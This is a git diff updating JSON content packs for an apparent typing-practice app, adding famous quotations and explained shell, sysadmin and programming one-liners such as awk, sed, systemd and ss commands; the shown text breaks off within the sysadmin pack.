- {"category":"movies","attribution":"The Empire Strikes Back (1980)","content":"Do. Or do not. There is no try."},
- {"category":"movies","attribution":"Blade Runner (1982)","content":"All those moments will be lost in time, like tears in rain. Time to die."},
- {"category":"movies","attribution":"Field of Dreams (1989)","content":"If you build it, he will come."},
- {"category":"movies","attribution":"The Silence of the Lambs (1991)","content":"A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti."},
- {"category":"movies","attribution":"A League of Their Own (1992)","content":"There's no crying in baseball."},
- {"category":"movies","attribution":"Jurassic Park (1993)","content":"Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should."},
- {"category":"movies","attribution":"Forrest Gump (1994)","content":"My mama always said life was like a box of chocolates. You never know what you're gonna get."},
- {"category":"movies","attribution":"The Shawshank Redemption (1994)","content":"Get busy living, or get busy dying."},
- {"category":"movies","attribution":"The Usual Suspects (1995)","content":"The greatest trick the devil ever pulled was convincing the world he didn't exist."},
- {"category":"movies","attribution":"The Matrix (1999)","content":"I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it."},
- {"category":"movies","attribution":"Fight Club (1999)","content":"It's only after we've lost everything that we're free to do anything."},
- {"category":"movies","attribution":"Gladiator (2000)","content":"What we do in life echoes in eternity."},
- {"category":"movies","attribution":"The Lord of the Rings: The Fellowship of the Ring (2001)","content":"All we have to decide is what to do with the time that is given us."},
- {"category":"movies","attribution":"Spider-Man (2002)","content":"With great power comes great responsibility."},
- {"category":"movies","attribution":"The Dark Knight (2008)","content":"You either die a hero, or you live long enough to see yourself become the villain."},
- {"category":"movies","attribution":"Inception (2010)","content":"You mustn't be afraid to dream a little bigger, darling."},
- {"category":"movies","attribution":"Interstellar (2014)","content":"We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt."},
- {"category":"movies","attribution":"Mad Max: Fury Road (2015)","content":"Oh, what a day. What a lovely day!"},
- {"category":"movies","attribution":"Arrival (2016)","content":"If you could see your whole life laid out in front of you, would you change things?"}
-]
+ {
+ "category": "movies",
+ "attribution": "The Wizard of Oz (1939)",
+ "content": "Toto, I've a feeling we're not in Kansas anymore."
+ },
+ {
+ "category": "movies",
+ "attribution": "Casablanca (1942)",
+ "content": "Of all the gin joints in all the towns in all the world, she walks into mine."
+ },
+ {
+ "category": "movies",
+ "attribution": "Casablanca (1942)",
+ "content": "Louis, I think this is the beginning of a beautiful friendship."
+ },
+ {
+ "category": "movies",
+ "attribution": "Sunset Boulevard (1950)",
+ "content": "I am big. It's the pictures that got small."
+ },
+ {
+ "category": "movies",
+ "attribution": "Cool Hand Luke (1967)",
+ "content": "What we've got here is failure to communicate."
+ },
+ {
+ "category": "movies",
+ "attribution": "The Godfather (1972)",
+ "content": "I'm gonna make him an offer he can't refuse."
+ },
+ {
+ "category": "movies",
+ "attribution": "Jaws (1975)",
+ "content": "You're gonna need a bigger boat."
+ },
+ {
+ "category": "movies",
+ "attribution": "Network (1976)",
+ "content": "I'm as mad as hell, and I'm not going to take this anymore."
+ },
+ {
+ "category": "movies",
+ "attribution": "Apocalypse Now (1979)",
+ "content": "I love the smell of napalm in the morning."
+ },
+ {
+ "category": "movies",
+ "attribution": "The Empire Strikes Back (1980)",
+ "content": "Do. Or do not. There is no try."
+ },
+ {
+ "category": "movies",
+ "attribution": "Blade Runner (1982)",
+ "content": "All those moments will be lost in time, like tears in rain. Time to die."
+ },
+ {
+ "category": "movies",
+ "attribution": "Field of Dreams (1989)",
+ "content": "If you build it, he will come."
+ },
+ {
+ "category": "movies",
+ "attribution": "The Silence of the Lambs (1991)",
+ "content": "A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti."
+ },
+ {
+ "category": "movies",
+ "attribution": "A League of Their Own (1992)",
+ "content": "There's no crying in baseball."
+ },
+ {
+ "category": "movies",
+ "attribution": "Jurassic Park (1993)",
+ "content": "Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should."
+ },
+ {
+ "category": "movies",
+ "attribution": "Forrest Gump (1994)",
+ "content": "My mama always said life was like a box of chocolates. You never know what you're gonna get."
+ },
+ {
+ "category": "movies",
+ "attribution": "The Shawshank Redemption (1994)",
+ "content": "Get busy living, or get busy dying."
+ },
+ {
+ "category": "movies",
+ "attribution": "The Usual Suspects (1995)",
+ "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist."
+ },
+ {
+ "category": "movies",
+ "attribution": "The Matrix (1999)",
+ "content": "I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it."
+ },
+ {
+ "category": "movies",
+ "attribution": "Fight Club (1999)",
+ "content": "It's only after we've lost everything that we're free to do anything."
+ },
+ {
+ "category": "movies",
+ "attribution": "Gladiator (2000)",
+ "content": "What we do in life echoes in eternity."
+ },
+ {
+ "category": "movies",
+ "attribution": "Spider-Man (2002)",
+ "content": "With great power comes great responsibility."
+ },
+ {
+ "category": "movies",
+ "attribution": "The Dark Knight (2008)",
+ "content": "You either die a hero, or you live long enough to see yourself become the villain."
+ },
+ {
+ "category": "movies",
+ "attribution": "Inception (2010)",
+ "content": "You mustn't be afraid to dream a little bigger, darling."
+ },
+ {
+ "category": "movies",
+ "attribution": "Interstellar (2014)",
+ "content": "We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt."
+ },
+ {
+ "category": "movies",
+ "attribution": "Mad Max: Fury Road (2015)",
+ "content": "Oh, what a day. What a lovely day!"
+ },
+ {
+ "category": "movies",
+ "attribution": "Arrival (2016)",
+ "content": "If you could see your whole life laid out in front of you, would you change things?"
+ }
+] \ No newline at end of file
diff --git a/data/packs/nature.json b/data/packs/nature.json
index 4bb274f..3764339 100644
--- a/data/packs/nature.json
+++ b/data/packs/nature.json
@@ -1,17 +1,22 @@
[
- {"category":"nature","content":"The world is big and I want to have a good look at it before it gets dark.","attribution":"John Muir"},
- {"category":"nature","content":"In every walk with nature one receives far more than he seeks.","attribution":"John Muir"},
- {"category":"nature","content":"Heaven is under our feet as well as over our heads.","attribution":"Henry David Thoreau, Walden"},
- {"category":"nature","content":"The Amazon rainforest is home to an estimated ten percent of all known species on Earth, making it one of the most biodiverse regions on the planet.","attribution":"Nature"},
- {"category":"nature","content":"Coral reefs cover less than one percent of the ocean floor, yet they support roughly a quarter of all marine species.","attribution":"Nature"},
- {"category":"nature","content":"Migratory birds can travel thousands of miles between breeding and wintering grounds, navigating using the sun, stars, and the Earth's magnetic field.","attribution":"Nature"},
- {"category":"nature","content":"A single mature tree can absorb around twenty two kilograms of carbon dioxide per year, making forests an important part of regulating the planet's climate.","attribution":"Nature"},
- {"category":"nature","content":"Bees pollinate roughly a third of the crops humans rely on for food, making them essential to global agriculture despite their small size.","attribution":"Nature"},
- {"category":"nature","content":"The deepest part of the ocean, the Mariana Trench, plunges nearly eleven kilometers below the surface, deeper than Mount Everest is tall.","attribution":"Nature"},
- {"category":"nature","content":"Deserts are defined by low precipitation rather than temperature, which is why some of the coldest places on Earth, including parts of Antarctica, are technically deserts.","attribution":"Nature"},
- {"category":"nature","content":"Mycorrhizal fungi form partnerships with the roots of most plants, helping them absorb water and nutrients in exchange for sugars produced by photosynthesis.","attribution":"Nature"},
- {"category":"nature","content":"Wolves live and hunt in structured packs, usually led by a breeding pair, and communicate through howls that can be heard for several kilometers.","attribution":"Nature"},
- {"category":"nature","content":"The Sahara Desert was once a green landscape with lakes and grasslands, before a shift in the Earth's orbit altered rainfall patterns thousands of years ago.","attribution":"Nature"},
- {"category":"nature","content":"Rivers shape the landscape around them over thousands of years, carving canyons and depositing sediment that forms fertile floodplains.","attribution":"Nature"},
- {"category":"nature","content":"A rainforest canopy can be so dense that less than two percent of sunlight reaches the forest floor below.","attribution":"Nature"}
+ {"category":"nature","attribution":"John Muir","content":"In every walk with nature one receives far more than he seeks."},
+ {"category":"nature","attribution":"John Muir, My First Summer in the Sierra","content":"When we try to pick out anything by itself, we find it hitched to everything else in the universe."},
+ {"category":"nature","attribution":"John Muir","content":"The mountains are calling and I must go."},
+ {"category":"nature","attribution":"Rachel Carson, Silent Spring","content":"In nature nothing exists alone."},
+ {"category":"nature","attribution":"Rachel Carson, The Sense of Wonder","content":"Those who contemplate the beauty of the earth find reserves of strength that will endure as long as life lasts."},
+ {"category":"nature","attribution":"Henry David Thoreau, Walden","content":"I went to the woods because I wished to live deliberately, to front only the essential facts of life."},
+ {"category":"nature","attribution":"Henry David Thoreau, Walking","content":"In wildness is the preservation of the world."},
+ {"category":"nature","attribution":"Aldo Leopold, A Sand County Almanac","content":"A thing is right when it tends to preserve the integrity, stability and beauty of the biotic community."},
+ {"category":"nature","attribution":"Aldo Leopold, A Sand County Almanac","content":"There are some who can live without wild things, and some who cannot."},
+ {"category":"nature","attribution":"David Attenborough","content":"It seems to me that the natural world is the greatest source of excitement, of visual beauty, of intellectual interest."},
+ {"category":"nature","attribution":"David Attenborough","content":"No one will protect what they don't care about, and no one will care about what they have never experienced."},
+ {"category":"nature","attribution":"Ralph Waldo Emerson, Nature","content":"In the woods, we return to reason and faith. There I feel that nothing can befall me in life which nature cannot repair."},
+ {"category":"nature","attribution":"Mary Oliver","content":"Tell me, what is it you plan to do with your one wild and precious life?"},
+ {"category":"nature","attribution":"Wendell Berry","content":"The earth is what we all have in common."},
+ {"category":"nature","attribution":"Robin Wall Kimmerer, Braiding Sweetgrass","content":"In some Native languages the term for plants translates to those who take care of us."},
+ {"category":"nature","attribution":"Charles Darwin, The Voyage of the Beagle","content":"The land is one great wild, untidy, luxuriant hothouse, made by nature for herself."},
+ {"category":"nature","attribution":"Gerard Manley Hopkins, God's Grandeur","content":"There lives the dearest freshness deep down things."},
+ {"category":"nature","attribution":"Gary Snyder","content":"Nature is not a place to visit. It is home."},
+ {"category":"nature","attribution":"Edward Abbey, Desert Solitaire","content":"Wilderness is not a luxury but a necessity of the human spirit."},
+ {"category":"nature","attribution":"Chief Seattle","content":"The earth does not belong to us. We belong to the earth."}
]
diff --git a/data/packs/philosophy.json b/data/packs/philosophy.json
index 7c9aee7..b76cdba 100644
--- a/data/packs/philosophy.json
+++ b/data/packs/philosophy.json
@@ -1,17 +1,73 @@
[
- {"category":"philosophy","content":"Waste no more time arguing about what a good man should be. Be one.","attribution":"Marcus Aurelius, Meditations"},
- {"category":"philosophy","content":"It's not what happens to you, but how you react to it that matters.","attribution":"Epictetus"},
- {"category":"philosophy","content":"It is not that we have a short time to live, but that we waste a lot of it.","attribution":"Seneca, On the Shortness of Life"},
- {"category":"philosophy","content":"The beginning is the most important part of the work.","attribution":"Plato, The Republic"},
- {"category":"philosophy","content":"All men by nature desire to know.","attribution":"Aristotle, Metaphysics"},
- {"category":"philosophy","content":"I think, therefore I am.","attribution":"Rene Descartes, Discourse on the Method"},
- {"category":"philosophy","content":"It does not matter how slowly you go as long as you do not stop.","attribution":"Confucius, Analects"},
- {"category":"philosophy","content":"A journey of a thousand miles begins with a single step.","attribution":"Lao Tzu, Tao Te Ching"},
- {"category":"philosophy","content":"The only true wisdom is in knowing you know nothing.","attribution":"Socrates"},
- {"category":"philosophy","content":"Stoicism is a school of ancient Greek philosophy that teaches the practice of virtue as the only true good, and encourages focusing only on what lies within one's own control.","attribution":"Philosophy"},
- {"category":"philosophy","content":"Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically.","attribution":"Philosophy"},
- {"category":"philosophy","content":"The Socratic method uses a series of questions and answers to expose contradictions in a person's beliefs, encouraging deeper critical thinking rather than simply providing answers.","attribution":"Philosophy"},
- {"category":"philosophy","content":"The impediment to action advances action. What stands in the way becomes the way.","attribution":"Marcus Aurelius, Meditations"},
- {"category":"philosophy","content":"Every new beginning comes from some other beginning's end.","attribution":"Seneca, Letters from a Stoic"},
- {"category":"philosophy","content":"Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions.","attribution":"Philosophy"}
-]
+ {
+ "category": "philosophy",
+ "content": "Waste no more time arguing about what a good man should be. Be one.",
+ "attribution": "Marcus Aurelius, Meditations"
+ },
+ {
+ "category": "philosophy",
+ "content": "It's not what happens to you, but how you react to it that matters.",
+ "attribution": "Epictetus"
+ },
+ {
+ "category": "philosophy",
+ "content": "It is not that we have a short time to live, but that we waste a lot of it.",
+ "attribution": "Seneca, On the Shortness of Life"
+ },
+ {
+ "category": "philosophy",
+ "content": "The beginning is the most important part of the work.",
+ "attribution": "Plato, The Republic"
+ },
+ {
+ "category": "philosophy",
+ "content": "All men by nature desire to know.",
+ "attribution": "Aristotle, Metaphysics"
+ },
+ {
+ "category": "philosophy",
+ "content": "I think, therefore I am.",
+ "attribution": "Rene Descartes, Discourse on the Method"
+ },
+ {
+ "category": "philosophy",
+ "content": "It does not matter how slowly you go as long as you do not stop.",
+ "attribution": "Confucius, Analects"
+ },
+ {
+ "category": "philosophy",
+ "content": "A journey of a thousand miles begins with a single step.",
+ "attribution": "Lao Tzu, Tao Te Ching"
+ },
+ {
+ "category": "philosophy",
+ "content": "The only true wisdom is in knowing you know nothing.",
+ "attribution": "Socrates"
+ },
+ {
+ "category": "philosophy",
+ "content": "Stoicism is a school of ancient Greek philosophy that teaches the practice of virtue as the only true good, and encourages focusing only on what lies within one's own control."
+ },
+ {
+ "category": "philosophy",
+ "content": "Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically."
+ },
+ {
+ "category": "philosophy",
+ "content": "The Socratic method uses a series of questions and answers to expose contradictions in a person's beliefs, encouraging deeper critical thinking rather than simply providing answers."
+ },
+ {
+ "category": "philosophy",
+ "content": "The impediment to action advances action. What stands in the way becomes the way.",
+ "attribution": "Marcus Aurelius, Meditations"
+ },
+ {
+ "category": "philosophy",
+ "content": "Every new beginning comes from some other beginning's end.",
+ "attribution": "Seneca, Letters from a Stoic"
+ },
+ {
+ "category": "philosophy",
+ "content": "Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions."
+ }
+] \ No newline at end of file
diff --git a/data/packs/programming.json b/data/packs/programming.json
index fae99c2..e0bcd72 100644
--- a/data/packs/programming.json
+++ b/data/packs/programming.json
@@ -180,5 +180,82 @@
"attribution": "Shell",
"content": "export PATH=\"$HOME/.local/bin:$PATH\" && command -v rg >/dev/null || echo missing",
"explanation": "Prepending puts your own binaries ahead of the system ones. command -v is the portable test for whether something is installed."
+ },
+ {
+ "category": "programming",
+ "language": "shell",
+ "attribution": "Git",
+ "explanation": "Finds the commit that introduced a bug by bisecting history. Give it a known-good and known-bad commit and it halves the range each step.",
+ "content": "git bisect start HEAD v1.2.0 && git bisect run ./test.sh"
+ },
+ {
+ "category": "programming",
+ "language": "shell",
+ "attribution": "Git",
+ "explanation": "Who last touched each line of a range, which is how you find the person to ask rather than the person to blame.",
+ "content": "git log -L 40,60:src/parser.rs --oneline"
+ },
+ {
+ "category": "programming",
+ "language": "shell",
+ "attribution": "Git",
+ "explanation": "Recovers commits that are no longer reachable from any branch. A hard reset does not destroy them; it just stops pointing at them.",
+ "content": "git reflog --date=iso | head -20"
+ },
+ {
+ "category": "programming",
+ "language": "python",
+ "attribution": "Python",
+ "explanation": "zip pairs two sequences and stops at the shorter one. strict=True makes a length mismatch an error rather than silent truncation.",
+ "content": "for name, score in zip(names, scores, strict=True): print(f'{name}: {score:>5.1f}')"
+ },
+ {
+ "category": "programming",
+ "language": "python",
+ "attribution": "Python",
+ "explanation": "defaultdict removes the exists-check before every append, which is the most common shape of a grouping loop.",
+ "content": "groups = defaultdict(list); [groups[w[0]].append(w) for w in words]"
+ },
+ {
+ "category": "programming",
+ "language": "javascript",
+ "attribution": "JavaScript",
+ "explanation": "?? falls back only on null or undefined, unlike ||, which also fires on 0 and the empty string.",
+ "content": "const port = config.port ?? process.env.PORT ?? 8080;"
+ },
+ {
+ "category": "programming",
+ "language": "javascript",
+ "attribution": "JavaScript",
+ "explanation": "Promise.all runs them concurrently and rejects on the first failure; allSettled waits for every result instead.",
+ "content": "const [user, posts] = await Promise.all([getUser(id), getPosts(id)]);"
+ },
+ {
+ "category": "programming",
+ "language": "rust",
+ "attribution": "Rust",
+ "explanation": "The ? operator returns early on Err, converting the error type through From. It is what keeps error handling from nesting.",
+ "content": "let config: Config = toml::from_str(&fs::read_to_string(path)?)?;"
+ },
+ {
+ "category": "programming",
+ "language": "rust",
+ "attribution": "Rust",
+ "explanation": "entry().or_insert_with() looks the key up once. The obvious contains_key-then-insert hashes it twice.",
+ "content": "*counts.entry(word).or_insert(0) += 1;"
+ },
+ {
+ "category": "programming",
+ "language": "clike",
+ "attribution": "SQL",
+ "explanation": "A window function ranks rows within each partition without collapsing them, which a GROUP BY cannot do.",
+ "content": "SELECT user_id, wpm, RANK() OVER (PARTITION BY mode ORDER BY wpm DESC) AS rank FROM results;"
+ },
+ {
+ "category": "programming",
+ "language": "clike",
+ "attribution": "SQL",
+ "explanation": "EXPLAIN ANALYZE runs the query and reports what the planner actually did, not what it guessed it would do.",
+ "content": "EXPLAIN ANALYZE SELECT * FROM test_results WHERE mode_key = 'time-30' ORDER BY wpm DESC LIMIT 50;"
}
] \ No newline at end of file
diff --git a/data/packs/science.json b/data/packs/science.json
index f105138..f0b91a5 100644
--- a/data/packs/science.json
+++ b/data/packs/science.json
@@ -1,17 +1,24 @@
[
- {"category":"science","content":"Photosynthesis is the process by which plants convert light energy into chemical energy, using carbon dioxide and water to produce glucose and release oxygen as a byproduct.","attribution":"Science"},
- {"category":"science","content":"Newton's first law of motion states that an object at rest stays at rest, and an object in motion stays in motion, unless acted on by an outside force.","attribution":"Science"},
- {"category":"science","content":"DNA carries the genetic instructions for every living organism, encoded in a sequence of four chemical bases that pair together to form the famous double helix shape.","attribution":"Science"},
- {"category":"science","content":"The theory of plate tectonics explains how the Earth's outer shell is broken into large plates that slowly drift over the mantle, causing earthquakes, volcanoes, and mountain formation.","attribution":"Science"},
- {"category":"science","content":"Water is one of the few substances that becomes less dense as it freezes, which is why ice floats on top of liquid water instead of sinking to the bottom.","attribution":"Science"},
- {"category":"science","content":"A black hole forms when a massive star collapses under its own gravity, packing so much mass into so small a space that not even light can escape its pull.","attribution":"Science"},
- {"category":"science","content":"Vaccines work by training the immune system to recognize a weakened or partial version of a pathogen, so the body can respond quickly if it ever encounters the real threat.","attribution":"Science"},
- {"category":"science","content":"The periodic table arranges chemical elements by increasing atomic number, grouping elements with similar properties into the same columns.","attribution":"Science"},
- {"category":"science","content":"Sound travels as a wave of pressure through a medium such as air or water, and it cannot travel through the vacuum of space, since there are no particles to carry the vibration.","attribution":"Science"},
- {"category":"science","content":"Evolution by natural selection describes how organisms with traits better suited to their environment tend to survive and reproduce more successfully, gradually shaping a population over many generations.","attribution":"Science, after Charles Darwin"},
- {"category":"science","content":"The speed of light in a vacuum is approximately two hundred ninety nine thousand, seven hundred ninety two kilometers per second, and nothing with mass can reach or exceed it.","attribution":"Science"},
- {"category":"science","content":"Mitochondria convert nutrients into a usable form of energy for the cell, which is why biology textbooks often call them the powerhouse of the cell.","attribution":"Science"},
- {"category":"science","content":"The human body contains roughly thirty seven trillion cells, each one specialized to carry out one of hundreds of different jobs inside the body.","attribution":"Science"},
- {"category":"science","content":"Marie Curie remains the only person to win Nobel Prizes in two different sciences, physics and chemistry, for her pioneering research into radioactivity.","attribution":"Science"},
- {"category":"science","content":"Genetics research has shown that humans share about ninety-nine percent of their DNA with chimpanzees, the closest living relative to our species.","attribution":"Science"}
+ {"category":"science","attribution":"Carl Sagan, Cosmos","content":"The cosmos is within us. We are made of star-stuff. We are a way for the universe to know itself."},
+ {"category":"science","attribution":"Carl Sagan","content":"Somewhere, something incredible is waiting to be known."},
+ {"category":"science","attribution":"Carl Sagan, The Demon-Haunted World","content":"Extraordinary claims require extraordinary evidence."},
+ {"category":"science","attribution":"Richard Feynman","content":"The first principle is that you must not fool yourself, and you are the easiest person to fool."},
+ {"category":"science","attribution":"Richard Feynman","content":"I would rather have questions that can't be answered than answers that can't be questioned."},
+ {"category":"science","attribution":"Marie Curie","content":"Nothing in life is to be feared, it is only to be understood. Now is the time to understand more, so that we may fear less."},
+ {"category":"science","attribution":"Charles Darwin, On the Origin of Species","content":"There is grandeur in this view of life, with its several powers, having been originally breathed into a few forms or into one."},
+ {"category":"science","attribution":"Isaac Newton","content":"If I have seen further it is by standing on the shoulders of giants."},
+ {"category":"science","attribution":"Albert Einstein","content":"The most incomprehensible thing about the world is that it is comprehensible."},
+ {"category":"science","attribution":"Albert Einstein","content":"Imagination is more important than knowledge. Knowledge is limited. Imagination encircles the world."},
+ {"category":"science","attribution":"Niels Bohr","content":"An expert is a person who has made all the mistakes that can be made in a very narrow field."},
+ {"category":"science","attribution":"Werner Heisenberg","content":"What we observe is not nature itself, but nature exposed to our method of questioning."},
+ {"category":"science","attribution":"Ada Lovelace","content":"The Analytical Engine weaves algebraical patterns just as the Jacquard loom weaves flowers and leaves."},
+ {"category":"science","attribution":"Rosalind Franklin","content":"Science and everyday life cannot and should not be separated."},
+ {"category":"science","attribution":"Jane Goodall","content":"What you do makes a difference, and you have to decide what kind of difference you want to make."},
+ {"category":"science","attribution":"Neil deGrasse Tyson","content":"The good thing about science is that it's true whether or not you believe in it."},
+ {"category":"science","attribution":"Thomas Huxley","content":"The great tragedy of science: the slaying of a beautiful hypothesis by an ugly fact."},
+ {"category":"science","attribution":"Louis Pasteur","content":"In the fields of observation chance favours only the prepared mind."},
+ {"category":"science","attribution":"Stephen Hawking, A Brief History of Time","content":"The whole history of science has been the gradual realisation that events do not happen in an arbitrary manner."},
+ {"category":"science","attribution":"Stephen Hawking","content":"The greatest enemy of knowledge is not ignorance, it is the illusion of knowledge."},
+ {"category":"science","attribution":"Max Planck","content":"A new scientific truth does not triumph by convincing its opponents, but rather because its opponents eventually die."},
+ {"category":"science","attribution":"Barbara McClintock","content":"If you know you are on the right track, if you have this inner knowledge, then nobody can turn you off."}
]
diff --git a/data/packs/shell.json b/data/packs/shell.json
new file mode 100644
index 0000000..3545ef9
--- /dev/null
+++ b/data/packs/shell.json
@@ -0,0 +1,26 @@
+[
+ {"category":"shell","language":"shell","attribution":"awk","explanation":"awk splits each line into fields on whitespace. $1 is the first, $NF the last - so this prints the first and last column of every line.","content":"awk '{print $1, $NF}' access.log"},
+ {"category":"shell","language":"shell","attribution":"awk","explanation":"-F sets the field separator. This reads /etc/passwd and prints the username and shell, which are fields 1 and 7.","content":"awk -F: '{print $1, $7}' /etc/passwd"},
+ {"category":"shell","language":"shell","attribution":"awk","explanation":"A pattern before the block acts as a filter: only lines whose 9th field is 404 are printed. No grep needed.","content":"awk '$9 == 404 {print $7}' access.log | sort | uniq -c | sort -rn"},
+ {"category":"shell","language":"shell","attribution":"awk","explanation":"Associative arrays are awk's real power. This sums bytes per IP in one pass, then END prints the totals once input is exhausted.","content":"awk '{bytes[$1] += $10} END {for (ip in bytes) print bytes[ip], ip}' access.log | sort -rn | head"},
+ {"category":"shell","language":"shell","attribution":"awk","explanation":"NR is the current line number, NF the field count. This finds malformed rows: any line that does not have exactly three fields.","content":"awk -F, 'NF != 3 {print NR\": \"$0}' data.csv"},
+ {"category":"shell","language":"shell","attribution":"awk","explanation":"Deduplicate without sorting, preserving original order. The array records what has been seen; !seen[$0]++ is true only the first time.","content":"awk '!seen[$0]++' file.txt"},
+ {"category":"shell","language":"shell","attribution":"awk","explanation":"Sums a column and prints the average. END runs after the last line, so NR is the total row count by then.","content":"awk '{sum += $3} END {print sum, sum/NR}' numbers.txt"},
+ {"category":"shell","language":"shell","attribution":"sed","explanation":"Substitute in place. The g flag replaces every match on a line, not just the first; -i writes the file rather than printing.","content":"sed -i 's/localhost/127.0.0.1/g' config.ini"},
+ {"category":"shell","language":"shell","attribution":"sed","explanation":"Prints only lines 10 to 20. -n suppresses the default print, and p prints the range that matched.","content":"sed -n '10,20p' large.log"},
+ {"category":"shell","language":"shell","attribution":"sed","explanation":"Deletes comments and blank lines, which is how you read a config that is mostly documentation.","content":"sed -e 's/#.*//' -e '/^[[:space:]]*$/d' /etc/ssh/sshd_config"},
+ {"category":"shell","language":"shell","attribution":"Pipelines","explanation":"The classic word-frequency pipeline: split to one word per line, fold case, sort so duplicates are adjacent, count runs, order by count.","content":"tr -cs '[:alpha:]' '\\n' < book.txt | tr 'A-Z' 'a-z' | sort | uniq -c | sort -rn | head -20"},
+ {"category":"shell","language":"shell","attribution":"Pipelines","explanation":"uniq only collapses adjacent duplicates, which is why sort comes first. -c counts, and the second sort orders by that count.","content":"cut -d' ' -f1 access.log | sort | uniq -c | sort -rn | head"},
+ {"category":"shell","language":"shell","attribution":"Pipelines","explanation":"xargs turns a stream of names into arguments. -0 with -print0 is what makes filenames containing spaces safe.","content":"find . -name '*.log' -print0 | xargs -0 grep -l 'ERROR'"},
+ {"category":"shell","language":"shell","attribution":"Pipelines","explanation":"Runs a command per input line in parallel. -P4 keeps four running at once, and -I{} places each name where the braces are.","content":"ls *.png | xargs -P4 -I{} convert {} -resize 50% small/{}"},
+ {"category":"shell","language":"shell","attribution":"Pipelines","explanation":"Process substitution gives two commands to diff as if they were files, without writing either to disk.","content":"diff <(sort a.txt) <(sort b.txt)"},
+ {"category":"shell","language":"shell","attribution":"Pipelines","explanation":"tee writes to a file and passes the stream on, so you can log and keep processing in the same pipeline.","content":"make 2>&1 | tee build.log | grep -E 'error|warning'"},
+ {"category":"shell","language":"shell","attribution":"Pipelines","explanation":"comm compares two sorted files by column: -13 shows only lines unique to the second, which is the set that was added.","content":"comm -13 <(sort old.txt) <(sort new.txt)"},
+ {"category":"shell","language":"shell","attribution":"Pipelines","explanation":"jq selects and reshapes JSON. -r prints raw strings, so the output is usable by the next command rather than quoted.","content":"curl -s https://api.example.com/users | jq -r '.[] | select(.active) | .email'"},
+ {"category":"shell","language":"shell","attribution":"Text processing","explanation":"grep -o prints only the match, one per line, which turns a search into a stream you can count.","content":"grep -oE '[0-9]{1,3}(\\.[0-9]{1,3}){3}' access.log | sort -u | wc -l"},
+ {"category":"shell","language":"shell","attribution":"Text processing","explanation":"paste joins lines side by side; -s -d joins them all into one line with the chosen separator.","content":"cut -f2 data.tsv | paste -sd, -"},
+ {"category":"shell","language":"shell","attribution":"Text processing","explanation":"column formats whitespace-separated input into aligned columns, which makes an unreadable log readable.","content":"mount | column -t | grep -v tmpfs"},
+ {"category":"shell","language":"shell","attribution":"Shell safety","explanation":"The unofficial strict mode: exit on error, exit on undefined variable, and fail a pipeline if any stage fails rather than only the last.","content":"set -euo pipefail"},
+ {"category":"shell","language":"shell","attribution":"Shell safety","explanation":"Quoting \"$@\" preserves each argument exactly, including ones containing spaces. Unquoted $@ splits them apart.","content":"for f in \"$@\"; do printf '%s\\n' \"${f%.*}\"; done"},
+ {"category":"shell","language":"shell","attribution":"Shell safety","explanation":"A trap on EXIT cleans up whether the script succeeded, failed or was interrupted.","content":"tmp=$(mktemp -d) && trap 'rm -rf \"$tmp\"' EXIT"}
+]
diff --git a/data/packs/sysadmin.json b/data/packs/sysadmin.json
new file mode 100644
index 0000000..4e1ec1f
--- /dev/null
+++ b/data/packs/sysadmin.json
@@ -0,0 +1,26 @@
+[
+ {"category":"sysadmin","language":"shell","attribution":"systemd","explanation":"Why a unit failed, without paging through the whole journal. -u scopes to the unit, -n limits the lines, --no-pager keeps it in the pipeline.","content":"journalctl -u nginx -n 50 --no-pager -p err"},
+ {"category":"sysadmin","language":"shell","attribution":"systemd","explanation":"Lists units that failed at boot. The first thing to run on a machine that came up wrong.","content":"systemctl --failed --no-pager"},
+ {"category":"sysadmin","language":"shell","attribution":"systemd","explanation":"Shows what a unit will actually run, including drop-ins, after every override has been merged.","content":"systemctl cat sshd.service && systemctl show sshd -p ExecStart"},
+ {"category":"sysadmin","language":"shell","attribution":"systemd","explanation":"Ranks services by how long they delayed boot. The usual answer to a slow start is one unit near the top.","content":"systemd-analyze blame | head -15"},
+ {"category":"sysadmin","language":"shell","attribution":"Disk","explanation":"Largest directories at this level, human readable. -x stays on one filesystem so it does not wander into /proc or a mount.","content":"du -xh --max-depth=1 / 2>/dev/null | sort -rh | head -15"},
+ {"category":"sysadmin","language":"shell","attribution":"Disk","explanation":"A disk that reports free space but still refuses writes is usually out of inodes, not bytes.","content":"df -i | awk '$5+0 > 80 {print}'"},
+ {"category":"sysadmin","language":"shell","attribution":"Disk","explanation":"Finds space held by deleted files that a process still has open. Deleting the file does not free the space until the handle closes.","content":"lsof +L1 2>/dev/null | awk '$7 > 100000000 {print $1, $7, $NF}'"},
+ {"category":"sysadmin","language":"shell","attribution":"Processes","explanation":"The heaviest processes by resident memory. --sort takes a minus for descending order.","content":"ps -eo pid,user,rss,pcpu,comm --sort=-rss | head -12"},
+ {"category":"sysadmin","language":"shell","attribution":"Processes","explanation":"What a process is actually waiting on. Reading its file descriptors and stack says more than another look at top.","content":"ls -l /proc/$PID/fd | head && cat /proc/$PID/wchan"},
+ {"category":"sysadmin","language":"shell","attribution":"Processes","explanation":"Traces the system calls a command makes, with a count and timing summary rather than a wall of output.","content":"strace -c -f -p $PID 2>&1 | tail -20"},
+ {"category":"sysadmin","language":"shell","attribution":"Network","explanation":"Listening sockets with the process behind each one. The modern replacement for netstat -tulpn.","content":"ss -ltnp | awk 'NR>1 {print $4, $6}'"},
+ {"category":"sysadmin","language":"shell","attribution":"Network","explanation":"Which route the kernel will actually use for a destination, including the source address it will pick.","content":"ip route get 8.8.8.8"},
+ {"category":"sysadmin","language":"shell","attribution":"Network","explanation":"Captures the start of connections only. -n skips DNS lookups, which otherwise generate the traffic you are trying to read.","content":"tcpdump -ni any 'tcp[tcpflags] & tcp-syn != 0' -c 20"},
